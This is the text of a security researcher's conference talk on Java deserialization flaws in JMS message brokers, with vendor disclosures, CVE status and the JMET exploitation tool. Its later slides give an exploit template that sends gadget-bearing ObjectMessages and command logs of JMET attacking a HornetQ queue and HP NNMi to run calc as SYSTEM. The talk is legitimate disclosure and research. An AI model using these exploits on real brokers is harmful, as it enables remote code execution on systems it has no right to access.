Pwning Your Java Messaging With Deserialization Vulnerabilities

Matthias Kaiser
About me

- Head of Vulnerability Research at Code White in Ulm, Germany
- Software Dev/Architect in the past, enjoying technical security for 7 years now
- Specialized on Java Security
- Found bugs in products of Oracle, IBM, VMware, SAP, Redhat, Symantec, Apache, Adobe, etc.
- Recently looking more into the Windows world and client-side stuff

@matthias_kaiser
1 Motivation
2 Introduction to Java’s Native Serialization
3 The Java Message Service
4 Attacking JMS
5 Introducing JMET
6 JMET in Action
7 Conclusion
Motivation

- During my research time I looked at all kinds of products running on Java
- Several Java core technologies rely heavily on serialization (RMI, JMX)
- Furthermore the Java Message Service (JMS) requires the use of Java’s Serialization
- Previous security research on Java Message Service (JMS):
  - “A Pentesters Guide to Hacking ActiveMQ Based JMS Applications” + JMSDigger Tool by Gursev Singh Kalra of McAfee Foundstone Professional Services (2014)
  - “Your Q is my Q” by G. Geshev of MWR InfoSecurity (2014)
- I haven’t found any research on attacking Java Messaging Service using (de)-serialization
- That’s the reason why I’m here
Disclaimer

- This talk continues my research on Java Deserialization Vulnerabilities
- Therefore I won’t cover all the technical details about finding and exploiting deserialization vulnerabilities which I have shown in my other talks
- If you want to dig deeper, you should look at:
  - “Deserialize My Shorts: Or How I Learned To Start Worrying and Hate Java Object Deserialization” by Chis Frohoff (OWASP-SD 2016)
  - “Serial Killer: Silently Pwning Your Java Endpoint” by Alvaro Muñoz and Christian Schneider (RSA 2016)
  - “Java Deserialization Vulnerabilities - The Forgotten Bug Class” by me (Infiltrate 2016, Ruhrsec 2016)
What is Serialization?

Stream of Bytes
TL;DR

- Java provides a Serialization API:
  - Serializable classes need to implement interface java.io.Serializable
  - java.io.ObjectOutputStream.writeObject() for writing serializable objects
  - java.io.ObjectInputStream.readObject() for reading serializable objects
  - Uses binary protocol for storing an object’s state

- Deserialization Vulnerability:
  - If untrusted data is read from network, file, database, etc. and used as input for ObjectInputStream’s readObject()-method

- Exploitation by reusing existing code/classes:
  - Serializable classes in the classpath can be abused to write files, trigger dynamic method calls, etc.
  - Such classes are called „gadgets“ and were found by researchers in common libraries or even in JRE classes
Sometimes it's as easy as this ...
Tool of choice: Ysoserial

- By Chris Frohoff
- Tool for payload generation
- Public repository for all known gadgets
- Gadgets for
  - Apache Commons Collections
  - Apache Commons Beanutils
  - Groovy
  - JDK<1.7.21
  - Beanshell, Jython
  - Hibernate
  - Spring
  - etc.

https://github.com/frohoff/ysoserial/
1 Motivation
2 Introduction to Java’s Native Serialization
3 The Java Message Service
4 Attacking JMS
5 Introducing JMET
6 JMET in Action
7 Conclusion
Java Message Service

The JMS API is an API for accessing enterprise messaging systems from Java programs.

Version 1.1 April 12, 2002

Please send technical comments on this specification to:
jms-comments@sun.com

Please send product and business questions to:
jms-business-comments@sun.com

Mark Hapner, Distinguished Engineer
Rich Burrige, Staff Engineer
Rahul Sharma, Senior Staff Engineer
Joseph Fialli, Senior Staff Engineer
Kate Stout, Senior Staff Engineer
Sun Microsystems, Inc.

Java Message Service

The JMS API is an API for accessing enterprise messaging systems from Java programs.

Version 2.0

Mark Hapner, Rich Burrige, Rahul Sharma, Joseph Fialli, Kate Stout
Sun Microsystems
(Version 1.1)

Nigel Deakin
Oracle
(Version 2.0)

20 March 2013

For information about how to contribute to the JMS specification visit http://jms-spec.java.net
Java Message Service

- Enterprise Messaging Technology: Message Oriented Middleware (MOM)
- Included in the Java Platform, Enterprise Edition standard (Java EE) since 1.4, Java EE 7 includes JMS 2.0
- Defines an API for sending and receiving messages
- Does not define the underlying wire protocol (e.g. AMQP) to be used
- Reference JMS provider implementation for JMS 1.1/JMS 2 → Oracle OpenMQ
Products supporting JMS

**JEE Application Server**
- IBM Websphere
- Oracle Weblogic
- Oracle Glassfish
- Redhat EAP/JBOSS/Wildfly
- SAP Netweaver AS Java
- Apache Geronimo
- Apache TomEE
- etc.

**Message Brokers**
- IBM Websphere MQ
- IBM MessageSight (Appliance)
- Oracle OpenMQ
- Pivotal RabbitMQ
- IIT Software SwiftMQ
- Redhat HornetQ (disc.)
- Apache ActiveMQ (-Artemis)
- Apache QPID
- etc.

**Integration Platforms**
- IBM Integration Bus
- IBM WebSphere ESB
- Oracle Service Bus
- Redhat JBoss Fuse
- Redhat JBoss ESB
- Mulesoft Mule ESB
- Apache ServiceMix
- Apache Camel
- etc.
JMS Basics

JMS Client (Producer) -> Broker (Queue, Topic) -> JMS Client (Consumer)
JMS Basics

- JMS Broker
  - Runs as a standalone server
  - Provides clients with connectivity, message storage/delivery
  - Can be implemented in any language (e.g. Java, Erlang, etc.)
  - Maintains destinations (queues and topics)

- JMS Client
  - A client/serverside application that interacts with a message broker
  - Two types → Producer and Consumer

- Connection
  - Permanent interaction context with a broker using a specific protocol and credentials

- Session
  - Just for transaction management
JMS Queue

Producer → Broker (Queue) → Consumer

1:1
JMS and Wire Protocols

- The wire protocol defines the message structure on a binary level
- JMS doesn’t require a specific wire protocol to be used
- JMS Providers often use vendor-specific wire protocols
- Several wire protocol standard exists
  - AMQP (Advanced Message Queuing Protocol)
  - MQTT (MQ Telemetry Transport)
  - STOMP (Streaming Text Oriented Messaging Protocol)
  - OpenWire
  - WebSockets
  - etc.
JMS brokers with default ports (no SSL)

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Target</th>
<th>Proprietary</th>
<th>AMQP</th>
<th>OpenWire</th>
<th>MQTT</th>
<th>STOMP</th>
<th>WebSocket</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache</td>
<td>ActiveMQ</td>
<td>x</td>
<td>5672</td>
<td>61616</td>
<td>1883</td>
<td>61613</td>
<td>61614</td>
</tr>
<tr>
<td>Redhat/Apache</td>
<td>HornetQ</td>
<td>5445</td>
<td>5672</td>
<td>x</td>
<td>x</td>
<td>61613</td>
<td>61614</td>
</tr>
<tr>
<td>Oracle</td>
<td>OpenMQ</td>
<td>7676</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>7670</td>
<td>7670</td>
</tr>
<tr>
<td>IBM</td>
<td>WebSphereMQ</td>
<td>1414</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>Oracle</td>
<td>Weblogic</td>
<td>7001</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>Pivotal</td>
<td>RabbitMQ</td>
<td>x</td>
<td>5672</td>
<td>x</td>
<td>1883</td>
<td>61613</td>
<td>15674</td>
</tr>
<tr>
<td>IBM</td>
<td>MessageSight</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>1883,16102</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>IIT Software</td>
<td>SwiftMQ</td>
<td>4001</td>
<td>5672</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>Apache</td>
<td>ActiveMQ Artemis</td>
<td>5445</td>
<td>5672</td>
<td>61616</td>
<td>1883</td>
<td>61613</td>
<td>61614</td>
</tr>
<tr>
<td>Apache</td>
<td>QPID</td>
<td>x</td>
<td>5672</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
</tbody>
</table>

Focus for exploitation using deserialization vulnerabilities
.jms api - sending a message

```java
ConnectionFactory factory = new ActiveMQConnectionFactory("tcp://broker:61616");
Connection connection = factory.createConnection("user", "pass");

Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

Queue queue = session.createQueue("orders");
MessageProducer producer = session.createProducer(queue);

connection.start();

TextMessage message = session.createTextMessage();
message.setText("This is the payload");

producer.send(message);

connection.close();
```
JMS API - Receiving a Message

```java
ConnectionFactory factory = new ActiveMQConnectionFactory("tcp://broker:61616");
Connection connection = factory.createConnection("user", "pass");

Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

Queue queue = session.createQueue("orders");
MessageConsumer consumer = session.createConsumer(queue);

connection.start();

Message message = consumer.receive();

if (message instanceof TextMessage) {
    System.out.println(((TextMessage) message).getText());
}

connection.close();
```
EJB “Style” - Receiving a Message with a Message Driven Bean

@MessageDriven(activationConfig = {
    @ActivationConfigProperty(propertyName = "destination", propertyValue = "cwqueue"),
    @ActivationConfigProperty(propertyName = "destinationType", propertyValue = "javax.jms.Queue")
}, mappedName = "cwqueue")
public class CwMessageDriven implements MessageListener {

    public void onMessage(Message message) {
        try {
            if (message instanceof TextMessage) {
                System.out.println(((TextMessage) message).getText());
            }
        } catch (Exception e) {
        }
    }
}
JMS Message Structure

Message

- Header
  - Destination, Delivery Mode, Return Address, ...
- Properties
  - Application Properties
- Body
  - Application Data
JMS Message Types

<<interface>>
javax.jms.Message

<<interface>>
javax.jms.BytesMessage

<<interface>>
javax.jms.MapMessage

<<interface>>
javax.jms.ObjectMessage

<<interface>>
javax.jms.TextMessage

<<interface>>
javax.jms.StreamMessage
JMS Message Types

**StreamMessage** - a message whose body contains a stream of Java primitive values. It is filled and read sequentially.

**MapMessage** - a message whose body contains a set of name-value pairs where names are `String` objects and values are Java primitive types. The entries can be accessed sequentially by enumerator or randomly by name. The order of the entries is undefined.

**TextMessage** - a message whose body contains a `java.lang.String`. The inclusion of this message type is based on our presumption that `String` messages will be used extensively. One reason for this is that XML will likely become a popular mechanism for representing the content of JMS messages.

**BytesMessage** - a message that contains a stream of uninterpreted bytes. This message type is for literally encoding a body to match an existing message format.

Source: JMS 1.1 specification
ObjectMessage - a message that contains a serializable Java object. If a collection of Java objects is needed, one of the collection classes provided in JDK 1.2 can be used.
Interface ObjectMessage

```java
package javax.jms;

import java.io.Serializable;

public abstract interface ObjectMessage
    extends Message
{
    public abstract void setObject(Serializable paramSerializable)
        throws JMSException;

    public abstract Serializable getObject()
        throws JMSException;
}

» Guess what “getObject()” does ;-)
1. Motivation
2. Introduction to Java's Native Serialization
3. The Java Message Service
4. Attacking JMS
5. Introducing JMET
6. JMET in Action
7. Conclusion
Vulnerability Discovery

- Analysis of JMS client libraries of Brokers and Application Servers
- Priority based on what I have seen most often in client engagements
- I haven’t looked at Integration Platforms at all
- Application Servers reuse brokers/client libraries a lot
  - Redhat EAP < 7 (Wildfly < 10) bundles HornetQ
  - Redhat EAP >=7 (Wildfly >= 10) bundles ActiveMQ-Artemis
  - IBM WebSphere Application Server bundles WebSphereMQ
  - Oracle Glassfish bundles OpenMQ

» All ObjectMessage implementations I looked at were deserializing from untrusted input without any validation
The bug(s)

- ActiveMQ

Apache ActiveMQ Multiple Deserialization Remote Code Execution Vulnerabilities

1. Timeline
   ASF Security Team Contacted............: 2015-09-02

2. Affected Versions
   Vulnerable: Apache ActiveMQ 5.12.0 and earlier

3. Vulnerability Summary
   Apache ActiveMQ makes use of XStream's custom xml deserialization and
   Java's ObjectInputStream to deserialize (untrusted) data.
The bug(s)

- ActiveMQ
- HornetQ

HornetQ client deserialization RCE vulnerability

1. Timeline
   Redhat Security Team Contacted: 2016-03-18

2. Affected Versions
   Vulnerable: HornetQ 2.4.0 and earlier

3. Vulnerability Summary
   The class "org.hornetq.jms.client.HornetQMessage" deserializes in method "getBodyInternal(Class<T> c)" from untrusted input.
   Same applies to class "org.hornetq.jms.client.HornetQObjectMessage" in method "getObject()". No validation is applied.
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ

Oracle OpenMQ JMS client deserialization RCE vulnerability

1. Timeline
   Oracle Security Team Contacted............: 2016-03-18

2. Affected Versions
   Vulnerable: Oracle OpenMQ 5.1 and earlier

3. Vulnerability Summary
   The class "com.sun.messaging.jmq.jmsclient.ObjectMessageImpl" deserializes in method "getObject()" from untrusted input.
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ
- WebSphereMQ

```plaintext
Websphere MQ JMS client deserialization RCE vulnerability

1. Timeline
IBM Security Team Contacted.............: 2016-03-18

2. Affected Versions
Vulnerable: IBM Websphere MQ 8.0.0.4 and earlier

3. Vulnerability Summary
Same applies to class "com.ibm.msg.client.wmq.compat.jms.internal.JMSObjectMessage" in method "getObject()". No validation is applied.
```
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ
- WebSphereMQ
- Weblogic

Oracle Weblogic JMS client deserialization RCE vulnerability

1. Timeline
Oracle Security Team Contacted............: 2016-03-18

2. Affected Versions
Vulnerable: Oracle Weblogic 12c and earlier

3. Vulnerability Summary
- The class "weblogic.jms.common.ObjectMessageImpl" deserializes in method "getObject()" from untrusted input.
- Same applies to:
  - weblogic.jms.common.TextMessageImpl.getMessageBody()
  - weblogic.jms.common.TextMessageImpl.getText()
  - weblogic.jms.common.TextMessageImpl.decompressMessageBody()
  - weblogic.jms.common.XMLMessageImpl.decompressMessageBody()
  - weblogic.jms.common.XMLMessageImpl.getDocumentForSelection()
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ
- WebSphereMQ
- Weblogic
- RabbitMQ

Pivotal RabbitMQ JMS client deserialization RCE vulnerability

1. Timeline
   Pivotal Security Team Contacted................: 2016-03-24

2. Affected Versions
   Vulnerable: Pivotal RabbitMQ JMS client 1.4.6 and earlier

3. Vulnerability Summary
   - The class "com.rabbitmq.jms.client.message.RMQObjectMessage" deserializes
     in method "getObject()" from untrusted input. No validation is applied.
   - Same applies to method "fromMessage(byte[] b)" of class
     "com.rabbitmq.jms.client.RMQMessage".
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ
- WebSphereMQ
- Weblogic
- RabbitMQ
- MessageSight

IBM MessageSight Client deserialization RCE vulnerability

1. Timeline
   IBM Security Team Contacted............: 2016-03-24

2. Affected Versions
   Vulnerable: IBM MessageSight MessageSight V1.2 JMSClient and earlier

3. Vulnerability Summary
   The class "com.ibm.ima.jms.impl.ImaObjectMessage" deserializes in method "getObject()" from untrusted input. No validation is applied.
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ
- WebSphereMQ
- Weblogic
- RabbitMQ
- MessageSight
- SwiftMQ
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ
- WebSphereMQ
- Weblogic
- RabbitMQ
- MessageSight
- SwiftMQ
- ActiveMQ Artemis
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ
- WebSphereMQ
- Weblogic
- RabbitMQ
- MessageSight
- SwiftMQ
- ActiveMQ Artemis
- QPid JMS Client
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ
- WebSphereMQ
- Weblogic
- RabbitMQ
- MessageSight
- SwiftMQ
- ActiveMQ Artemis
- QPid JMS Client
- QPid Client

```
* Apache Qpid client deserialization RCE vulnerability

* 1. Timeline
* 2. Affected Versions
* 3. Vulnerability Summary

* The class "org.apache.qpid.client.message.JMSObjectMessage" deserializes in method
* "getObject()" from untrusted input.
```
The bug(s)

- ActiveMQ
- HornetQ
- OpenMQ
- WebSphereMQ
- Weblogic
- RabbitMQ
- MessageSight
- SwiftMQ
- ActiveMQ Artemis
- QPid JMS Client
- QPid Client
- SQS Java Messaging
## Vulnerability Patch Status

<table>
<thead>
<tr>
<th>#</th>
<th>Vendor</th>
<th>Target</th>
<th>Vendor Discl.</th>
<th>CVE</th>
<th>Patch</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Apache</td>
<td>ActiveMQ</td>
<td>2015-09-02</td>
<td>CVE-2015-5254</td>
<td>Yes</td>
</tr>
<tr>
<td>2</td>
<td>Redhat</td>
<td>HornetQ</td>
<td>2016-03-18</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>3</td>
<td>Oracle</td>
<td>OpenMQ</td>
<td>2016-03-18</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>4</td>
<td>IBM</td>
<td>WebSphereMQ</td>
<td>2016-03-18</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>5</td>
<td>Oracle</td>
<td>Weblogic</td>
<td>2016-03-18</td>
<td>CVE-2016-0638</td>
<td>Yes*</td>
</tr>
<tr>
<td>6</td>
<td>Pivotal</td>
<td>RabbitMQ</td>
<td>2016-03-24</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>7</td>
<td>IBM</td>
<td>MessageSight</td>
<td>2016-03-24</td>
<td>CVE-2016-0375</td>
<td>Yes</td>
</tr>
<tr>
<td>8</td>
<td>IIT Software</td>
<td>SwiftMQ</td>
<td>2016-05-30</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>9</td>
<td>Apache</td>
<td>ActiveMQ Artemis</td>
<td>2016-06-02</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>10</td>
<td>Apache</td>
<td>QPID JMS Client</td>
<td>2016-06-02</td>
<td>CVE-2016-4974</td>
<td>Yes</td>
</tr>
<tr>
<td>11</td>
<td>Apache</td>
<td>QPID Client</td>
<td>2016-06-02</td>
<td>CVE-2016-4974</td>
<td>Yes</td>
</tr>
<tr>
<td>12</td>
<td>Amazon</td>
<td>SQS Java Messaging</td>
<td>2016-06-14</td>
<td>No</td>
<td>No</td>
</tr>
</tbody>
</table>
Vulnerability Exploitation

```java
ConnectionFactory factory = new ActiveMQConnectionFactory("tcp://target:61616");
Connection connection = factory.createConnection("user", "pass");

Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

Queue queue = session.createQueue("target");
MessageProducer producer = session.createProducer(queue);

connection.start();

ObjectMessage message = session.createObjectMessage();
message.setObject(PUTYOURGADGETHERE);

producer.send(message);

connection.close();
```
Queue Exploitation

Broker (Queue) 1:1

Producer

Consumer
Topic Exploitation
Exploitation Success Factors

- Exploitation depends on several factors
  - Which JRE version is used
  - Which libraries are bundled with the application
  - Which libraries are in the classpath of the Runtime Environment (e.g. Application Server)
  - Does the Runtime Environment has separate classloaders with limited resolution scope (e.g. OSGI)
  - Is the Java Security Manager enabled (rare!)
- Since JMS is asynchronous there is no feedback and no error message/stack trace

» We need a blackbox assessment tool to send payloads/gadgets!
1 Motivation
2 Introduction to Java’s Native Serialization
3 The Java Message Service
4 Attacking JMS
5 Introducing JMET
6 JMET in Action
7 Conclusion
Java Message Exploitation Tool

- Command line tool
- Open Source
- Integrates ysoserial for payload generation
- Three exploitation modes:
  - Gadget
  - XXE
  - Custom (using Javascript)
- Customizable using Javascript

https://github.com/matthiaaskaiser/jmet
## Supported JMS Provider

<table>
<thead>
<tr>
<th>#</th>
<th>Vendor</th>
<th>Target</th>
<th>Supported</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Apache</td>
<td>ActiveMQ</td>
<td>✓</td>
</tr>
<tr>
<td>2</td>
<td>Redhat/Apache</td>
<td>HornetQ</td>
<td>✓</td>
</tr>
<tr>
<td>3</td>
<td>Oracle</td>
<td>OpenMQ</td>
<td>✓</td>
</tr>
<tr>
<td>4</td>
<td>IBM</td>
<td>WebSphereMQ</td>
<td>✓</td>
</tr>
<tr>
<td>5</td>
<td>Oracle</td>
<td>Weblogic</td>
<td>✗</td>
</tr>
<tr>
<td>6</td>
<td>Pivotal</td>
<td>RabbitMQ</td>
<td>✓</td>
</tr>
<tr>
<td>7</td>
<td>IBM</td>
<td>MessageSight</td>
<td>✗</td>
</tr>
<tr>
<td>8</td>
<td>IIT Software</td>
<td>SwiftMQ</td>
<td>✓</td>
</tr>
<tr>
<td>9</td>
<td>Apache</td>
<td>ActiveMQ Artemis</td>
<td>✓</td>
</tr>
<tr>
<td>10</td>
<td>Apache</td>
<td>QPID JMS Client</td>
<td>✓</td>
</tr>
<tr>
<td>11</td>
<td>Apache</td>
<td>QPID Client</td>
<td>✓</td>
</tr>
<tr>
<td>12</td>
<td>Amazon</td>
<td>SQS Java Messaging</td>
<td>✗</td>
</tr>
</tbody>
</table>
Gadget mode

kaimatt@dev:~/JMETS java -jar jmet-0.1.0-all.jar -u test -pw test -Q cwqueue -I Artemis -Y xterm target 8080

INFO d.c.j.t.JMSTarget [main] Connected with ID: null
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "BeanShell1" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsBeanutils1" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections1" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections2" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections3" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections4" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections5" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Groovyl" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Hibernate1" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Hibernate2" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Jdk7u21" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "JSON1" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "ROME" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Spring1" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Spring2" with command: "xterm"
INFO d.c.j.t.JMSTarget [main] Shutting down connection null
Motivation
Introduction to Java’s Native Serialization
The Java Message Service
Attacking JMS
Introducing JMET
JMET in Action
Conclusion
JMET in Action - The Target

HP Network Node Manager
Network Node Manager I Overview

- Network Management Software
- Runs on top of an old JBOSS 5
- HornetQ as JMS-implementation
- Local or LDAP authentication
- Makes heavy use of JMS queues und topics
JMS Attack Surface NNMi

- ~ 150 Message Driven Beans
- Usage of TextMessage and ObjectMessage
- JBOSS’ HornetQ requires authentication
- Permissions on queues/topics are set explicitly, otherwise only the “system” user has access
Finding a queue/topic

- There are several queues/topics, an NNMi admin can access
- So if we have a NNMi admin user, we can send a message to “nms.discovery.configurationPoll”
A vulnerable Message Driven Bean

```java
40 /* */  */ @MessageDriven(activationConfig={@javax.ejb.ActivationConfigProperty(propertyName="destinationType", @javax.annotation.security.RunAs("system")},
41 /* */  */ @Depends={"com.hp.ov.nms.disco:service=NmsDisco", "com.hp.ov.nms.geo.bridge:name=BridgeManager"})
42 /* */  */ public class DemandListener implements javax.jms.MessageListener
43 /* */  */ {
44 /* */  */   public void onMessage(Message message)
45 /* */  */   {
46 /* */  */     log.fine("Received demand message: " + message);
47 /* */  */     String msg = null;
48 /* */  */     String nodeKey = null;
49 /* */  */     Locale locale = null;
50 /* */  */     boolean excError = false;
51 /* */  */     ObjectMessage demandMessage = (ObjectMessage)message;
52 /* */  */     DemandResponse dResponse = null;
53 /* */  */     try {
54 /* */  */       DemandRequest demandRequest = (DemandRequest)demandMessage.getObject();
```

- There we have our call to ObjectMessage.getObject()
Running JMET against NNMI

```
kaimatt@dev:-/JMET$ java -jar jmet-0.1.0-all.jar -u admin -pw admin -T nms.discovery.configurationPoll -I HornetQ -Y calc target 4457
INFO d.c.j.t.JMSTarget [main] Connected with ID: null
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "BeanShell1" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsBeanutils1" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections1" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections2" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections3" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections4" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "CommonsCollections5" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Groovy1" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Hibernate1" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Hibernate2" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Jdk7u21" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "JSON1" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "ROME" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Spring1" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Sent ObjectMessage using Gadget "Spring2" with command: "calc"
INFO d.c.j.t.JMSTarget [main] Shutting down connection null
```
Getting SYSTEM calc.exe
Motivation

Introduction to Java’s Native Serialization

The Java Message Service

Attacking JMS

Introducing JMET

JMET in Action

Conclusion
Conclusion

- As with other Java core technologies JMS suffers from deserialization vulnerabilities
- All JMS provider implementations were found vulnerable to missing input validation
- JMS queues/topics can be endpoints for getting remote code execution
- Successful exploitation depends highly on the “gadgets” in the classpath
- JMET makes exploitation easy!
Pwning Your Java Messaging With Deserialization Vulnerabilities

Matthias Kaiser